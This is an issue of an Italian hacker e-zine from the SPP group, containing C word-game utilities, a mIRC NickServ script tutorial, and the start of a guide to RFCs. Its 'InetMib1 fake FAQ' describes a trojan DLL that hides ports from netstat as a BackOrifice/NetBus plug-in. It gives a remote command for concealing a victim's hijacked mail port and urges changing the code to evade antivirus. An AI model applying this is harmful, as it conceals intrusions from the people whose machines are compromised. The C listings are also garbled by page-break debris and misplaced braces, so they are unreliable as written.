XXXXXXXXXXXXXXXXXXXXX
XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX
XXXXXXXXXXXXXXXXXXXXX
XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX
XXXXXXXXXXXXXXXXXXXXX
. - .
//-------------------------------------------------------------------------------------------------22. Anagrammi / contrari / parole palindromiche
//-------------------------------------------------------------------------------------------------Ci siamo creati un file dizionario con TXT2DIX, l'equivalente file -paroliamo(il dizionario
delle firme caratteristiche),
.. vogliamo trovare gli anagrammi possibili di tutte le parole del dizionario
delle firme
::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::
:::::::::::::::::::
anagram.c
::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::
:::::::::::::::::::
#include <stdio.h>
#include <string.h>
// anagram vocabolario_paroliamo
// trova gli anagrammi dal vocabolario impostato
main(int nf, char **fi)
{
char uno0[40];
char uno[40];
char due0[40];
char due[40];
FILE *f;
long p,k=0;
f=fopen(fi[1],"rb");
fscanf(f,"%s",uno0);
fscanf(f,"%s",due0);
while(!feof(f))
{
fscanf(f,"%s",uno);
fscanf(f,"%s",due);
if(strstr(uno,uno0)&&(strlen(uno)==strlen(uno0)))
{printf("%s %s - %s\n",uno0,due0,due);k++;}
else
{
if(k>0)printf("-----------------------------------%d\n",k+1);
k=0;
}
strcpy(uno0,uno);
strcpy(due0,due);
Pagina 99
}
}
fclose(f);
netrun9.txt
::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::
:::::::::::::::::::
Se il dizionario delle firme lo avremo chiamato FIRME.TXT
con ANAGRAM FIRME.TXT > OUT.TXT
otterremo un file OUT.TXT di questo tipo
-------------------------------- OUT.TXT
aeiirstv riavesti - stiverai
aeiirstv stiverai - sviterai
aeiirstv sviterai - vestiari
aeiirstv vestiari - vestirai
aeiirstv vestirai - visitare
aeiirstv visitare - visitera
aeiirstv visitera - visterai
-----------------------------------8
aeiirsv svierai - visiera
-----------------------------------2
aeiirttv reattivi - riavetti
-----------------------------------2
aeiirvz viziare - viziera
-----------------------------------2
aeiisstv evitassi - svisiate
aeiisstv svisiate - vietassi
-----------------------------------3
aeiisttv evitasti - stiviate
aeiisttv stiviate - svitiate
aeiisttv svitiate - vietasti
aeiisttv vietasti - visitate
aeiisttv visitate - vistiate
-----------------------------------6
...
...
-------------------------------a sinistra della firma caratteristica abbiamo un termine col relativo anagramma
di senso compiuto.
All'interno di uno stesso settore si avranno tutti gli anagrammi relativi ad
una firma comune, ovvero
tutti gli anagrammi di una certa parola.
In fondo alla riga di chiusura sezione un numero indichera' il numero di
anagrammi trovati per firma
caratteritica.
Es: VISITATE ..anagrammi = evitasti, stiviate, svitiate, vietasti, vistiate
Se vorremo invece trovare oltre agli anagrammi di senso compiuto anche le
parole presenti nel
dizionario con contrari di senso compiuto (parole palindromiche .. che a loro
volta sono anche
abbligatoriamente anagrammi!) dovremo compilare questi due programmi:
::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::
:::::::::::::::::::
PREPALI.C
Pagina 100
netrun9.txt
::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::
:::::::::::::::::::
#include <stdio.h>
#include <string.h>
// pocessa un dizionari di tipo "paroliamo" [ chiave
// per palind2
parola ] e crea un file
main(int nf,char **tt)
{
char uno0[40];
char uno[40];
char due0[40];
char due[40];
FILE *f;
long p,k=0;
f=fopen(tt[1],"rb");
fscanf(f,"%s",uno0);
fscanf(f,"%s",due0);
}
while(!feof(f))
{
fscanf(f,"%s",uno);
fscanf(f,"%s",due);
if(strstr(uno,uno0)&&(strlen(uno)==strlen(uno0)))
{
if(k==0){printf("[ %s %s ",due0,due);k++;}
else {printf("%s ",due);k++;}
}
else
{
if(k!=0)printf("]\n");
k=0;
}
strcpy(uno0,uno);
strcpy(due0,due);
}
fclose(f);
::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::
:::::::::::::::::::
::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::
:::::::::::::::::::
PALIND2.C
::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::
:::::::::::::::::::
#include <stdio.h>
#include <stdlib.h>
#include <conio.h>
#include <string.h>
//trova gli anagrammi e i contrari delle parole nel file out
//creato con prepalin
main(int nf,char **f)
{
FILE *e,*v1,*v2;
int p,c,c1;
long h=0;
char s[20][40],s1[40],s2[40];
v1=fopen(f[1],"rb");
Pagina 101
netrun9.txt
while(!feof(v1))
{
fscanf(v1,"%s",s1);
if(strstr(s1,"]"))
{
for(p=1;p<h;p++)
printf("%d(%s) ",p,s[p]);
printf("\n");
for(p=1;p<h;p++)
{
strcpy(s2,s[p]);
strrev(s2);
for(c=1;c<h;c++)
{
if(strstr(s[c],s2))
printf(" <-> %s\n",s2);
}
}
}
h=0;
if(h>0)
{
strcpy(s[h++],s1);
}
if(strstr(s1,"["))h=1;
}
fclose(v1);
}
::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::
:::::::::::::::::::
Passeremo il file delle firme caratteristiche FIRME.TXT prima al programma
PREPALI
PREPALI FIRME.TXT > OUTPUT.TXT
ottenendo un file anagrammi inscatolati in una lista
-------------------------- OUTPUT.TXT
spaccerai spacciare ]
scarcerai scaricare ]
scarcerati straccerai stracciare ]
ricercata traccerai tracciare ]
accertassi scaricaste tracciasse ]
caricaste scaricate ]
accertasti stracciate tracciaste ]
accertai caricate tacciare ]
accertati tracciate ]
accettai eccitata tacciate ]
allaccero calcolare calcolera ]
accoltela calcolate ]
accumulare accumulera ]
consacrare consacrera scarcerano ]
accentrato concretata raccontate ]
accentravo concretava ]
accattone accettano ]
accostare accostera ]
ecc..
-------------------------[
[
[
[
[
[
[
[
[
[
[
[
[
[
[
[
[
[
quindi passeremo questo file al programma finale PALIND2 che trovera' tutte la
Pagina 102
parole palindromiche.
netrun9.txt
PALIND2 OUTPUT.TXT > PALI.TXT
le parole palindromiche saranno visualizzate nel nuovo file di seguito alla
lista.
------------------------- PALI.TXT
1(rassegni) 2(regnassi)
1(ginestra) 2(regnasti)
1(argenti) 2(girante) 3(granite) 4(ingrate) 5(integra) 6(regnati) 7(ritenga)
1(assegni) 2(ingessa) 3(negassi)
<-> ingessa
<-> assegni
1(negasti) 2(segnati)
1(potreste) 2(pretesto) 3(proteste)
1(potere) 2(tepore)
1(errero) 2(errore)
1(perse) 2(peser) 3(prese)
1(ere) 2(ree)
<-> ere
1(rese) 2(sere)
1(esser) 2(resse)
<-> resse
<-> esser
1(rette) 2(tetre)
------------------------.. le palindromiche sono segnate col simbolo iniziale <->
XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX
XXXXXXXXXXXXXXXXXXXXX
XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX
XXXXXXXXXXXXXXXXXXXXX
XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX
XXXXXXXXXXXXXXXXXXXXX
. - .
//-------------------------------------------------------------------------------------------------23. Aiuta Riddle. ;-)
//-------------------------------------------------------------------------------------------------In che senso? .. ce l'ha un senso.. ce l'ha. :))
nel file Archivio.ace sono presenti nel folder Parole anche altri
programmetti per giocare
con queste ultime.
Charpre, Calchar, Charhex sono qcclusi anche qui di seguito
come recitano le righe di help che ho inserito al loro interno:
CALCHAR
// calchar FILE_VOCABOLARIO FILE_OUTPUT LISTA_DI_CHAR
// es calchar vocab.txt ok.txt abcdefgiosz
// trova in vocab tutte le parole costruite con i caratteri citati
CHARHEX
// charhex FILE_VOCABOLARIO FILE_OUTPUT
// es charhex vocab.txt ok.txt
// trova in vocab tutte le parole costruite con i caratteri esadecimali
Pagina 103
netrun9.txt
CHARPRE
// charpre FILE_VOCABOLARIO FILE_OUTPUT LISTA_DI_CHAR lun_parola
// es charpre vocab.txt ok.txt parsifal 9
// trova in vocab tutte le parole costruite con i caratteri citati
// vengono considerate solo le parole di lun_parola caratteri
A cosa servono dovete scoprirlo da soli.. un esempio per aiutarvi ve lo da
pero' :))
LILIS TENNY 3541
LILIS (rovesciato) = 51717
.. in esadecimale = CA05
= caos.
Tenny in ROT13 = graal
3541 in esadecimale = dd5 .. rovesciato = SPP!
Chissa' quante parole si possono scrivere con i caratteri esadecimali, e con
quelli che rovesciati
sembrano essere altre lettere.. mah! :))
Forse si potrebbe pure scoprire il significato di porte come la 31337, o
chissa'..
Per questo e Per i piu' esigenti accludo pure un comodo e minimo programma per
fare
le conversioni da una base qualunque ad un altra base qualunque.. (so che a
molti tornera' utile!) ;-)
I programmi..
::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::
:::::::::::::::::::
CHARPRE.C
::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::
:::::::::::::::::::
#include <stdio.h>
#include <stdlib.h>
#include <conio.h>
#include <string.h>
main(int nf,char **f)
{
FILE *e,*vocab;
int p,c,c1;
long h=0;
char s[30],s1[30];
//
//
//
//
charpre FILE_VOCABOLARIO FILE_OUTPUT LISTA_DI_CHAR lun_parola
es charpre vocab.txt ok.txt parsifal 9
trova in vocab tutte le parole costruite con i caratteri citati
vengono considerate solo le parole di lun_parola caratteri
vocab=fopen(f[1],"rb");
e=fopen(f[2],"wb");
strcpy(s1,f[3]);
clrscr();
while(!feof(vocab))
{
fscanf(vocab,"%s",s);h++;
p=0;
Pagina 104
for(c=0;c<strlen(s);c++)
for(c1=0;c1<strlen(s1);c1++)
if(s[c]==s1[c1])
{
p++;
break;
}
}
netrun9.txt
if(p==strlen(s)&&p==atoi(f[4]))
{
printf("%s\n",s);
fprintf(e,"%s\n",s);
}
}
fclose(vocab);
fclose(e);
::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::
:::::::::::::::::::
::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::
:::::::::::::::::::
CALCHAR
::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::
:::::::::::::::::::
#include <stdio.h>
#include <stdlib.h>
#include <conio.h>
#include <string.h>
main(int nf,char **f)
{
FILE *e,*vocab;
int p,c,c1;
long h=0;
char s[30],s1[30];
// calchar FILE_VOCABOLARIO FILE_OUTPUT LISTA_DI_CHAR
// es calchar vocab.txt ok.txt abcdefgiosz
// trova in vocab tutte le parole costruite con i caratteri citati
vocab=fopen(f[1],"rb");
e=fopen(f[2],"wb");
strcpy(s1,f[3]);
clrscr();
while(!feof(vocab))
{
fscanf(vocab,"%s",s);h++;
p=0;
for(c=0;c<strlen(s);c++)
for(c1=0;c1<strlen(s1);c1++)
if(s[c]==s1[c1])
{
p++;
break;
}
if(p==strlen(s))
{
printf("%s\n",s);
fprintf(e,"%s\n",s);
}
Pagina 105
}
}
fclose(vocab);
fclose(e);
netrun9.txt
::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::
:::::::::::::::::::
::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::
:::::::::::::::::::
CHARHEX.C
::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::
:::::::::::::::::::
#include <stdio.h>
#include <stdlib.h>
#include <conio.h>
#include <string.h>
#include <math.h>
main(int nf,char **f)
{
FILE *e,*vocab;
int n,m,p,c,c1;
float j;
long h=0;
char s[30],s1[30];
// charhex FILE_VOCABOLARIO FILE_OUTPUT
// es charhex vocab.txt ok.txt
// trova in vocab tutte le parole costruite con i caratteri esadecimali
f[3]="abcdefgiosz";
vocab=fopen(f[1],"rb");
e=fopen(f[2],"wb");
strcpy(s1,f[3]);
clrscr();
while(!feof(vocab))
{
fscanf(vocab,"%s",s);h++;
p=0;
for(c=0;c<strlen(s);c++)
for(c1=0;c1<strlen(s1);c1++)
if(s[c]==s1[c1])
{
p++;
break;
}
if(p==strlen(s))
{
j=0;
printf("%20s ",s);
fprintf(e,"%20s ",s);
for(n=0;n<strlen(s);n++)
{
if(s[n]=='o')s[n]='0';
if(s[n]=='i')s[n]='1';
if(s[n]=='s')s[n]='5';
if(s[n]=='z')s[n]='2';
if(s[n]=='g')s[n]='6';
Pagina 106
netrun9.txt
m=s[n]>='0'&&s[n]<='9'?s[n]-'0':s[n]-'a'+10;
j=j+m*pow(16,strlen(s)-n-1);
}
printf("(%20s) %20.f\n",s,j);
fprintf(e,"(%20s) %20.0f\n",s,j);
}
}
}
fclose(vocab);
fclose(e);
::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::
:::::::::::::::::::
::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::
:::::::::::::::::::
BASE2BASE.C
::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::
:::::::::::::::::::
#include <stddef.h>
#include <stdio.h>
char buf[0xaa];
char *l2s(long n,char *s,size_t mc,unsigned base)
{
char r;
int v=0;
if(base<2||base>36)
return " *";
if(n<0){v=1;n=-n;}
s[--mc]=0;
for(mc--;mc>v&&n!=0;mc--){
r=(char)(n%base);
if(r<=9)s[mc]=r+'0';
else s[mc]=r-10+'A';
n/=base;}
if(v)s[--mc]='-';
if(mc>0)memset(s,32,mc+1);
return s+mc;}
char *b2b(const char *b1,int ba,int bb){
long n;
size_t l=0xaa;
char *c;
n=strtol(b1,&c,ba);
return l2s(n,buf,l,bb);
}
main(int nf, char **f)
{
printf("( %s )_%s ... (%s
)_%s\n",f[1],f[2],b2b(f[1],atoi(f[2]),atoi(f[3])),f[3]);
}
::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::
:::::::::::::::::::
Sintassi di BASE2BASE
BASE2BASE NUMERO Base_di_partenza
Base_di_arrivo
Pagina 107
es
BASE2BASE
137 10
BASE2BASE 31337
BASE2BASE
netrun9.txt
2 = ( 137 )_10 ... ( 10001001 )_2
8 10 = ( 31337 )_8 ... ( 13023 )_10
SPP 32
8 = ( SPP )_32
... ( 71471 )_8
... FINE!! ..hi hi hi .. che lavoraccio.
E con questo concludo
sperando di essere stato utile a qualcuno
e di non aver annoiato troppo gli altri. :))
-= MASTER *** [email protected]
SPP MEMBER
www.spippolatori.com
================================================================================
===========
----------------------Mirc 5.51 - Prima Parte
----------------------By Darkman
Creazione di uno script [prima parte]
Premetto che ci sono vari modi per creare uno script, due tra questi sono:
-Aggiungere righe e modificare i file già esistenti
-Creare dei nuovi files e linkarli a Mirc
Per il nostro primo menu ne creeremo uno in grado di farci settare alcuni nick
ed in caso le pass necessarie per l' autoidentificazione.
Creiamo un file con estensione .mrc (es. ai.mrc) in questi particolari files si
deve inserire nell' intestazione il tipo di menu in cui appariranno i comandi:
menu status,nicklist,query {
"qui vanno inserite le righe di comando"
}
status: indica che questi comandi appariranno nel menu principale della finestra
"status".
nicklist: indica che questi comandi appariranno nel menu principale della
finestra dei nicks.
query: indica che questi comandi appariranno nel menu principale della finestra
della query.
Tra le due { (graffe) verranno inseriti i comandi necessari.
Ora inseriamo tra queste due parentesi i seguenti comandi:
NickServ Auto-Idenitfy
.On:/echo NickServ Auto-Identify is now ON | /set %non on
.Off:/echo NickServ Auto-Identify is now OFF | /set %non off
..[ %nick1 ]
..Set Nick:/set %nick1 $?*="Enter Nickname" | /echo NickServ Auto-Identify
Password Set
....Forget Nick:/set %nick1 UNSETTED | /echo NickServ Auto-Identify Nick Reset
..Forget Pass:/unset %npass1 | /echo NickServ Auto-Identify Password Reset
..Set Pass:/set %npass1 $?*="Enter NickServ Password" | /echo NickServ
Auto-Identify Password Set
....IDENTIFY:./msg nickserv identify %npass2 | /echo Auto-Identified to NickServ
at $time
.[ %nick2 ]
..Set Nick:/set %nick2 $?*="Enter Nickname" | /echo NickServ Auto-Identify
Password Set
..Pagina 108
netrun9.txt
..Forget Nick:/set %nick2 UNSETTED | /echo NickServ Auto-Identify Nick Reset
..Forget Pass:/unset %npass2 | /echo NickServ Auto-Identify Password Reset
..Set Pass:/set %npass2 $?*="Enter NickServ Password" | /echo NickServ
Auto-Identify Password Set
....IDENTIFY:./msg nickserv identify %npass2 | /echo Auto-Identified to NickServ
at $time
.[ %nick3 ]
..Set Nick:/set %nick3 $?*="Enter Nickname" | /echo NickServ Auto-Identify
Password Set
....Forget Nick:/set %nick3 UNSETTED | /echo NickServ Auto-Identify Nick Reset
..Forget Pass:/unset %npass3 | /echo NickServ Auto-Identify Password Reset
..Set Pass:/set %npass3 $?*="Enter NickServ Password" | /echo NickServ
Auto-Identify Password Set
....IDENTIFY:./msg nickserv identify %npass3 | /echo Auto-Identified to NickServ
at $time
.[ %nick4 ]
..Set Nick:/set %nick4 $?*="Enter Nickname" | /echo NickServ Auto-Identify
Password Set
....Forget Nick:/set %nick4 UNSETTED | /echo NickServ Auto-Identify Nick Reset
..Forget Pass:/unset %npass4 | /echo NickServ Auto-Identify Password Reset
..Set Pass:/set %npass4 $?*="Enter NickServ Password" | /echo NickServ
Auto-Identify Password Set
....IDENTIFY:./msg nickserv identify %npass4 | /echo Auto-Identified to NickServ
at $time
.[ %nick5 ]
..Set Nick:/set %nick5 $?*="Enter Nickname" | /echo NickServ Auto-Identify
Password Set
....Forget Nick:/set %nick5 UNSETTED | /echo NickServ Auto-Identify Nick Reset
..Forget Pass:/unset %npass5 | /echo NickServ Auto-Identify Password Reset
..Set Pass:/set %npass $?*="Enter NickServ Password" | /echo NickServ
Auto-Identify Password Set
....IDENTIFY:./msg nickserv identify %npass5 | /echo Auto-Identified to NickServ
at $time
In questo modo abbiamo creato un menu (NickServ Auto-Idenitfy) in cui sarà
possibile settare se attivare l' autoidentificazione, fino a 5 nicks e le
rispettive passwords. Facciamo una piccola spiegazione:
.[ %nick1 ]
..Set Nick:/set %nick1 $?*="Enter Nickname" | /echo NickServ Auto-Identify
Password Set
....Forget Nick:/set %nick1 UNSETTED | /echo NickServ Auto-Identify Nick Reset
..Forget Pass:/unset %npass1 | /echo NickServ Auto-Identify Password Reset
..Set Pass:/set %npass1 $?*="Enter NickServ Password" | /echo NickServ
Auto-Identify Password Set
....IDENTIFY:./msg nickserv identify %npass2 | /echo Auto-Identified to NickServ
at $time
%nick1 è una variabile che viene letta e visualizzata, tutte le righe prima dei
due punti indicano il nome del menu che verrà visualizzato, il /set serve in
questo caso a settare la variabile secondo cosa scriveremo nella finestra che si
visualizzerà eseguendo il comando $?*="Enter Nickname", il | indica che
successivamente verrà eseguito un altro comando (in questo caso /echo), /echo
visualizzerà sulla finestra status una scritta che corrisponde a NickServ
Auto-Identify Password Set, /unset serve a cancellare una variabile
precedentemente settata.
Perchè questo script funzioni correttamente ora dobbiamo fare 2 cose:
-Creare un secondo file
-linkare i due files nel Mirc.ini
Creiamo un secondo file chiamato remote.ini in cui verranno inserite tutte le
nostre variabili nel seguente modo:
Pagina 109
netrun9.txt
[variables]
n0=%nick1 UNSETTED
n1=%nick2 UNSETTED
n2=%nick3 UNSETTED
n3=%nick4 UNSETTED
n4=%nick5 UNSETTED
Ora tutte le variabili per la corretta visualizzazione del menu sono settate.
Apriamo il file mirc.ini andiamo alla fine del file dove è settato [rfiles]
ed inseriamo seccessivamente alle righe già esistenti la seguente stringa:
n3=ai.mrc
ora il programma all' avvio saprà che dovrà caricare questo file.
Aprimo il nostro Mirc e troveremo nei vari menu (nicklist, status e query) alla
fine una nuova voce "NickServ Auto-Idenitfy".
Ora vediamo come creare uno script per l' autoidentificazione del nick alla
connessione del Mirc al server (necessario se il vostro nick è registrato).
Questo script fà riferimento a variabili inserite nel primo script che abbiamo
creato.
Creiamo un file e lo chiamiamo ai.ini (oppure inseriamo i comandi alla fine del
file aliases.ini) e settiamolo in questo modo:
[aliases]
n0=/ID {
n1= if ( $me == %nick1 ) && ( %non == on ) { /pass %npass1 | goto end }
n2= if ( $me == %nick2 ) && ( %non == on ) { /pass %npass2 | goto end }
n3= if ( $me == %nick3 ) && ( %non == on ) { /pass %npass3 | goto end }
n4= if ( $me == %nick4 ) && ( %non == on ) { /pass %npass4 | goto end }
n5= if ( $me == %nick5 ) && ( %non == on ) { /pass %npass5 | goto end }
n6= else { goto end }
n7= :end
n8=}
In questo modo si crea un comando (/ID) che identificherà a seconda del nick che
abbiamo (tra quelli settati nel precedente script) la password corrispondente.
Ora per far eseguire questo file inseriamo la solita riga di comando nel nostro
mirc.ini in [rfiles]:
n4=ai.ini
Fatto ciò per far si che venga eseguito automaticamente alla connessione al
server IRC apriamo il nostro client e inseriamo in:
file
option
IRC
perform
la seguente riga: /ID
e abilitiamo il "on connect, perform these commands:"
Ora quando ci connetteremo al server verremo identificati automaticamente.
E quì finisce la prima parte del nostro script :-)
================================================================================
===========
InetMib1 fake FAQ
by Devil
SPP Member
Introduzione
-----------Si potrebbe obiettare che questa FAQ sia del tutto superflua perche' il
file leggimi.txt incluso nel pacchetto e' gia' abbastanza esplicativo.
Io potrei rispondere: "Si e' vero ! Ma magari leggendo qui vi possono venire
altre idee." Mai sottovalutare le varie angolazioni sotto cui vedere un
singolo argomento: molto spesso, a me personalmente, le idee vengono cosi':
analizzando qualcosa di perfettamente conosciuto in un' ottica completamente
diversa. Mi piace pensare che, proprio perche' il programmatore medio
ragiona sempre in una sola direzione, esistono bug impensabili...
e sfruttabili :)
D) Che cosa e' MIB ?
Pagina 110
netrun9.txt
R) Sta per Management Information Base ed e' un tentativo di standard
per i dati gestionali di rete. In soldoni specifica la tipologia di
informazioni che un host o un gateway devono raccogliere e le modalita'
che gli amministratori devono seguire per accedervi.
Ad esempio una delle tante specifiche dice che bisogna tener conto di tutti i
pacchetti UDP uscenti ed entranti e che i software gestionali possono
accedere a questi dati solo in read-only.
MIB definisce un insieme di variabili che contengono i dati in otto grandi
categorie ma non definisce le regole con cui accedere a queste variabili.
Queste sono definite da un altro standard l'SMI (Structure of Management
Information). L' SMI specifica che l'accesso all' informazione cercata
passi per un meccanismo ad interrogazione di tipo gerarchico usando un
linguaggio al tempo stesso flessibile ed interpretabile da un umano.
Parlavamo di livelli gerarchici ed eccovi subito uno schemino:
iso
1
ccitt
2
isp-ccitt
3
|
org
3
|
|
dod
6
|
|
Internet
1---------- -------- ----------\
/
|
|
\
/
Directory
1
mgmt
Sperimental
Private
2
3
4
|
|
mib
------------- 1 ---------------------------------------------|
|
|
|
|
|
|
|
system
1
Interfaces Addr.Translation
2
3
ip
4
icmp
5
tcp
6
udp
7
egp
8
Come si puo' vedere le variabili sono disposte ad albero tipo
directory.Questo e' un sistema ottimo per eseguire interrogazioni
veloci. (infatti non e' un caso che molte entita' su internet seguano
la stessa filosofia, vedi i nomi di dominio).
Le ultime otto categorie riportate nell' albero sono le variabili MIB a cui
abbiamo accennato prima. Le altre suddivisioni le ho omesse per chiarezza.
Eseguire un' interrogazione MIB per avere i dati icmp, ad esempio, significa
inviare in qualche modo all' host la sequenza di numeri siffatta:
1.3.6.1.2.1.5.
Per eseguirne una sulle interfacce di rete dell' host la sequenza di
interrogazione sara' : 1.3.6.1.2.1.2
Ognuna delle otto variabili si suddivide in ulteriori rami in cui ci sono
variabili specifiche al tipo di richiesta.
La variabile system ,ad esempio, ha 3 sottovariabili cosi' nominate:
1 sysdescr
Descrizione del sistema (nome versione dell'hardware)
2 sysobjectID
Identificazione del venditore del sottosistema di gestione
di rete
Tempo in centesimi di secondi da quando il sottosistema
di gestione e' partito.
3 sysUpTime
Vogliamo sapere chi e' il costruttore hardware ? Facciamo un'interrogazione
Pagina 111
netrun9.txt
con la sequenza 1.3.6.1.2.1.1.1. E cosi' per tutte le variabili MIB
definite dallo standard. I vari protocolli di gestione (snmp e cmot) usano
questa tipologia di interrogazione per far si che gli amministratori di
rete sappiano, in ogni momento, lo stato delle loro macchine.(vedi SMS
Microsoft, Tivoli ecc..)
E' ovvio che non pretendo di essere esaustivo. Per ulteriori
informazioni date un ' occhiata alle rfc 1155,1156.
D) Che cosa e' InetMib1.DLL ?
R) E' una libreria fornita a corredo dei sistemi windows che permette
un tipo di interrogazione "locale" dello stato del sistema di rete.
Un qualunque programma Win32 puo' chiamare le funzioni esportate da questa
DLL e, utilizzando la sintassi gerarchica a cui accennavamo prima, avere
informazioni sullo stato delle vari interfacce di rete installate.
Netstat ed altri programmi equivalenti la usano per stampare statistiche
molto utili su tutti i protocolli della suite TCP/IP.
D) Come funziona la InetMib1.DLL fake ?
R) L'idea che c'e' dietro il funzionamento della DLL "truccata" da me e'
semplicissimo:
- Costruisco una dll di nome InetMib1.dll che esporta le stesse funzioni
dell'originale.
- Rinomino la dll originale in Inetmib1.dev.
- Dall' interno della dll "truccata" chiamo le funzioni originali
filtrando quello che c'e' da filtrare.
Quando un qualunque programma esterno che voglia avere le statistiche
di sistema carichera' in memoria inetmib1.dll in realta' carichera'
la libreria "truccata" che poi , a sua volta, carichera' l'originale
rinominata.
Le funzioni esportate dalla libreria truccata fanno un routing fedele
delle chiamate all' originale (per avere risultati corretti delle
statistiche) ma in un caso le risposte al chiamante NON vengono date.
Il caso e' quello in cui il chiamante ci ha richiesto la tabella
delle connessioni attive TCP e UDP e le porte che dovremmo ritornare
indietro fanno parte del set di porte da nascondere.
La Dll truccata infatti durante il processo di linking dinamico
apre un file di testo, devset.ini, in cui c'e' una lista di porte
che NON devono essere mostrate all' utente.
Prima di ritornare i valori la InetMib1 truccata controlla che le porte
in uso siano nella lista da nascondere. Se cio' e' vero non ritorna
l'informazione e il povero netstat (o un qualunque programma equivalente)
non potra' stampare i dati. Risultato netto per l'utente: la porta non e'
in uso.
D) Qual'e' il formato del file devset.ini ?
R) Questo file viene creato dalla InetMib1.dll fake nella directory
principale di windows (\Windows per win9X o \Winnt per Windows NT)
E' un semplice file di testo editabile a mano con un qualunque editor
(Edit.com va benissimo).
Il primo numero del file puo' valere o 1 o 0. Se vale 1 il filtro delle
porte e' attivo e quindi InetMib1.dll truccata si comportera' come
ho detto prima. Se vale 0 il filtro e' disattivato e la dll truccata
chiamera' fedelmente le funzioni originali senza alcun intervento.
I venti numeri che seguono sono le porte che devono essere filtrate.
Se sappiamo gia' quali sono le porte che devono essere nascoste basta
editare questo file una volta per tutte e lasciarlo li' ad operare.
D) Perche' rendere la Dll truccata plug-in di BO o NetBus ?
R) Il motivo e' essenzialmente uno: avere un controllo delle porte filtrate
anche da remoto. La Dll infatti esporta delle funzioni aggiuntive
rispetto all' originale e che seguono lo standard di chiamata dei plug-in
di BO e NetBus ( o di qualunque altro programma che si adegua a questo
standard). Supponiamo infatti che l'utente utilizzi un programma di
monitoraggio delle connessioni sempre attivo in memoria e supponiamo
che noi da remoto vogliamo redirigere una sua porta per spedire mail
anonime. Se noi facessimo una ridirezione senza nascondere la porta
al minimo accenno di collegamento al server mail apparirebbe la
situazione all' utente che potrebbe accorgersi della cosa.
Pagina 112
netrun9.txt
Invece noi da remoto, con il comando :
pluginexec inetmib1:_InsertPort portadaredirigere
aggiungeremo la porta a quelle da filtrare e l'utente non avra' alcun feedback
degli eventuali collegamenti della sua porta con il server di posta.
Uno potrebbe dire: "Vabbe' potrei editare il file di testo da remoto
con BO o NetBus, perche' fare un plug-in ?".
Ottima domanda, e nel caso l'utente usi solo netstat questa cosa funziona
pure. Ma se l'utente usa un programma che gli da lo stato "in tempo reale"
delle porte, l'accesso al file devset.ini sara' negato perche' in uso
dalla DLL che non e' stata scaricata dalla memoria.
Ovviamente (eheh) avevo pensato a questa eventualita' ed infatti se
analizzate il sorgente l'array che mantiene la lista di porte da filtrare e'
in una sezione SHARED, ovvero e' condivisa da tutte le istanze delle DLL
truccate presenti eventualmente in memoria.
Quindi non appena la DLL caricata dal server di BO andra' ad aggiungere
una porta in piu' da filtrare la aggiungera' anche all' array della
DLL caricata dal programma di monitor con l'effetto di
filtrare effettivamente la porta in questione: carino no ?
D) Posso usare la DLL senza usarla come plug-in di BO o NetBus ?
R) Certamente. Il suo funzionamento non e' legato alla presenza di queste
due backdoor. Come dovrebbe essere ormai chiaro l'essere un plug-in
di BO o NB espande solo i campi di applicazione della DLL ma non ne
limita le funzionalita'.
D) Non c'e' pericolo che venga intercettata dagli AV ?
R) Ovviamente si. La DLL contiene codice eseguibile come qualunque
programma per windows. E' chiaro che maggiore sara' la diffusione della DLL
maggiore saranno le probabilita' che cada nelle mani degli analisti
virali. Voi comunque avete il codice e siete liberi di modificarlo a
vostro piacimento per renderla invisibile alla scansione. Tutto sta alla
vostra fantasia...
D) La DLL puo' essere usata per nascondere le porte anche ad un personal
firewall ?
R) No. O almeno se il personal firewall e' ben strutturato no. Questi ultimi
infatti non usano Inetmib1 per le loro statistiche ma, in genere, installano
i propri kernel drivers per filtrare il traffico di rete.
Se avete un personal firewall che usa la InetMib1 per avere lo stato delle
connessioni: beh, cambiatelo !
Buon Divertimento
Devil
================================================================================
===========
----------------------------------------Le RFC demistificate by Buttha SPP MeMbEr
----------------------------------------Bene bene. Rieccoci qui: io con la voglia di scrivere e voi con
la voglia di leggere (mah... hehehe)
Di cosa vi voglio parlare? Delle RFC e di come cavarsela in mezzo
a quella marea di documenti.
Per questa piccola guida mi sono avvalso di due fonti:
TCP/IP di Apogeo e la mia piccola esperienza.
Vi siete mai trovati nella necessita' di cercare la documentazione
su un qualche protocollo e di non sapere da dove cominciare?
